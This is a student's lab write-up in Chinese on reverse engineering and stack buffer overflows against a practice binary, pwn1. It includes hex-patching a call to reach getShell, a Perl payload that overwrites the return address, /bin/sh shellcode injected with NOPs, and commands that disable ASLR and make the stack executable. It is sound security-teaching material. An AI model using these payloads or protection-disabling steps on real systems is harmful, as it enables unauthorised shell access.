网络对抗实验一 逆向及Bof基础实践
网络对抗实验一 逆向及Bof基础实践
一、实验目的
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。
二、准备工作
平台准备
Linux-Kali(最好是虚拟机)
一个准备好的实验文档(ExpCode)
一个聪明且……有耐心的人
知识储备
一点Linux指令(实在不想学也可以一点一点跟着敲啦,还有不会的可以找度娘O(∩_∩)O)
一点汇编语言知识
一点缓冲区溢出的原理知识
准备好了,我们来开始吧
三、实验操作
让我们边做边说
1 学会怎么反汇编
将实验用文件(本次试验名称为ExpCode1)放在/Home/Experiment1文件夹下,将用户名改为ZhaoWenhao。
这里需要用到Linux指令(-d 英文全称是disassembling,含义是反汇编):
~# objdump -d (这里敲入文件名)
敲击回车,Terminal会将该文件的所有汇编指令显示出来。
指令执行结束后的效果如下图所示,由于汇编指令通常会很长,这里考虑到篇幅有限,仅向读者呈现我们会使用到的三个函数:main、foo和getShell。
这里我们可以看到机器码16进制对应的汇编指令,和程序在运行时每条指令所在的内存地址。这里可以看到,main函数第4行(内存地址80484b5)跳转到了foo函数(内存地址8048491),和接下来的实验中用到的getShell函数的内存地址为804847d。机器指令e8即为跳转之意,后面的数值d7ffffff是补码,表示-41=0x29。经过计算,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。
2 修改机器指令
对可执行文件进行修改,令其在main函数中第4条指令跳转到getShell函数,而不是foo函数。
只要我们修改可执行文件“d7ffffff”为,"getShell-80484ba"对应的补码就行,是c3ffffff。
对应操作为:
复制一份可执行文件,命名为ExpCode2,以便在实验出错的时候还原备份,对应Linux命令为:++cp ExpCode1 ExpCode2++
接下来打开其中一份文件进行修改,对应Linux命令为:++vi ExpCode1++
敲击回车后,效果如下:
我们发现这份文件中内容很乱,为了方便我们定位程序位置,我们最好使用十六进制查看文件内容,在这里我们可以按一下Esc键,在当前状态下允许用户输入命令。接下来我们可以输入命令将显示模式切换为16进制:++:%!xxd++。
逐行查找对于我们来说难度还太大,所以我们可以借助命令行来帮助我们查找:++/e8d7++
没有查到我们想要的字段,问题可能是因为这两个8bit十六进制数间被空格符隔开了。所以我们接下来可以查找:++/e8 d7++
终端上高亮显示的部分就表示了我们查找的字段所在位置,在它前后检查可以确认这就是我们想要修改的汇编命令字段,接下来我们只需要根据上一阶段的计算结果将d7改为c3,即可将程序改为跳转到另一个函数。修改时,将光标移到需要修改的16进制数上,敲击r键,再敲击想要修改的键,即可完成对该字符的修改。修改完毕后,需要转换16进制为原格式,命令为:++:%!xxd -r++,再存盘退出命令为:++:wq++。(如果不转换为原格式,会导致该文件不可执行,一定要记得改回原样并保存ヽ( ̄▽ ̄)ノ)
现在让我们对比一下,修改前的文件ExpCode2和修改后的文件ExpCode1。
没有修改过的程序执行后,会出现Shell提示符,敲入命令是可以执行的,无效指令会被提示出现错误。没有修改过的程序,是会重复显示我们输入的字符串(敲击回车结束),这就反映了程序调用函数的不同,也验证了我们以上的操作是成功的,有效更改了函数调用。为了证明这一点,我们同样反汇编修改过得可执行文件。
不难发现,程序中main函数第4个命令,所调用的函数变成了getShell。
3 通过构造函数,行程BOF攻击,改变程序执行流
再创建一个程序备份,以便在发生错误的时候恢复文件。这个阶段使用ExpCode2来进行操作。
同样先对可执行文件进行反汇编操作,我们的目标同样是要更改函数调用,触发getShell函数以达成我们的目标。
我们本次操作是针对foo函数,由于读入字符串的字符数量没有限制,系统也没有边界检测以防止缓冲区溢出,所以超出缓冲区的字符串就会影响程序的返回地址,如果超出的字符串是我们预先设计好的,那么被覆盖掉的返回地址就可以是我们指定的,不受原本程序控制的一个函数,最终造成程序返回出错。
缓冲区溢出攻击就是利用了系统不设置边界检测这一漏洞实现的,原本预留出的空间不够使用,则对这块区域的输入数据会一直向下保存下去,这样会覆盖掉原来有意义的指令,变成一些对我们没有意义的其它指令,但如果这些溢出的数据是我们精心设计好的,覆盖在一些非常关键的地方比如跳转到另外一个函数,程序就出现其他效果了,由入侵者掌握电脑的这个程序了。
让我们先来试试这个程序,确认输入多少字符串后会覆盖到程序的返回地址。我们先输入一个比较长的字符串,看看程序会不会执行出错。
这个时候需要用到调试功能:
在调试过程中,我们给这个程序输入了一个48B的字符串,程序如预想的情况那样出错了,在我们使用info r命令查看当前寄存器状态中,发现EIP寄存器(用于存放下一条指令的内存地址的寄存器)被0x35353535的字段覆盖掉了,这就表示了当前返回地址是四个‘5’。
再进行进一步尝试,将5替换成其它字段已确定是哪个位置的字符会覆盖EIP寄存器。
最终得到字符1234所处的位置会覆盖EIP寄存器,我们应该设计这四个字符以符合要求地改写程序(寄存器显示时是按照16进制从高位向低位显示,事实上我们的阅读和书写习惯则是从低位向高位,所以需要从右向左每两字为单位阅读)。接下来的操作会使这块区域变成我们需要的内容(\x7d\x84\x04\x08)。
查阅ASCII码表,要改写的字符串\x7d\x84\x04\x08里面有无法从键盘读入的字符,这时候需要借助Perl语言来代替我们生成这样符合要求的字符串:
~# perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
重定向输出到input文件中,\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
不难发现,程序就像ExpCode1文件一样可以执行我们的命令,当然,如果不使用input文件输入,也可以使用这条代码,起到一样的作用:
~# (perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn1
4 注入Shellcode并执行
我们准备好了这样一段
Shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
考虑到我们的buf缓存区域足够,我们这次采用结构是:nops+shellcode+retaddr。我们猜测的返回地址只要落在任何一个nop上,就会自然运行到shellcode命令,不会在中途跳转到其它函数或命令上。
接下来我们输入一段命令:
~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
用与上文类似的方法构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址,这段会在后面改为shellcode的地址。最后一个字符不要设置成\x0a,否则会影响接下来的操作。
接下来确定\x4\x3\x2\x1这段到底该填什么,接着在终端中注入这样一段攻击buf:
~ (cat input_shellcode;cat) | ./ExpCode2
这条指令输入完毕后按一次回车就不要再进行操作了,否则进程会结束,接下来的追踪进程将无法进行。
这个时候我们打开另一个终端,用gdb调试:
输入一系列命令,通过系统报告可以看出,原终端上(小窗口)的进程号为2064,所以就追踪这个进程,在其中设置断点(0x080484ae)。
这个时候在原终端再按一下回车,回到大窗口,继续调试进程,看到命令被输入在了进程之中,查询ESP(存放栈顶地址的寄存器)寄存器并检视这一区域数据的内容。
我们发现\x4\x3\x2\x1果然出现在栈顶,再往后一点就是我们所需要的地址了!细心一点,数到第一个f7,得到内存地址为0xffea8230,这就是我们需要更改的地址了。
退出gdb编译,现在来修改输入时所用的字符串。
像上文一样启用这个文件,发现:段错误
看来仅仅这样还是不能达到目标……
再做一次?结果还是不行……
又试了几次结果发现每次的进程分配内存都会不一样,这需要我们关闭地址随机化:
~# execstack -s pwn1 //设置堆栈可执行
~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
~# more /proc/sys/kernel/randomize_va_space
2
~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
~# more /proc/sys/kernel/randomize_va_space
0
又试了几次(推荐大家别再试了,这个真的很累很烦躁 o(TωT)o )内存地址每次都是保持不变的,好了,重新开始!
经过与上文同样的内容,再次修改我们的输入,这样就成功了!
四、感想
做的时候跳坑了……很久都没有反应过来,不过这些都不要紧!
实验对于一个新手来说还是比较复杂的,不过这样的实验也的确是提升自我实力的最好的办法。
跟着老师上课讲的步骤一步一步做下来其实不是很难,但更关键的是要掌握实验原理,这样会比较好理解,也不需要死记硬背一些看似很头疼的指令,下面就说说我遇到的问题吧。
由于老师恩赐的Linux—Kali虚拟机是64位系统,所以一开始还不能运行实验准备的32位程序,因为修这个还搞炸了老师恩赐的虚拟机,所以后面又从官网上下载了一个很新很新的版本,如果有人也有同样的问题,点击这个链接哦~
还有就是在设置堆栈可执行的时候,Linux可能会报错:execstack找不到命令,这样只需要我们安装一下apt-get install execstack即可(这个东西度娘不肯告诉我,感谢机智的同学!)
总而言之,这次试验还是自己一点一点啃下来了,虽然中间去补学了很多Linux的东西,但是非常有成就感!
文章中如有不对还望批评指正~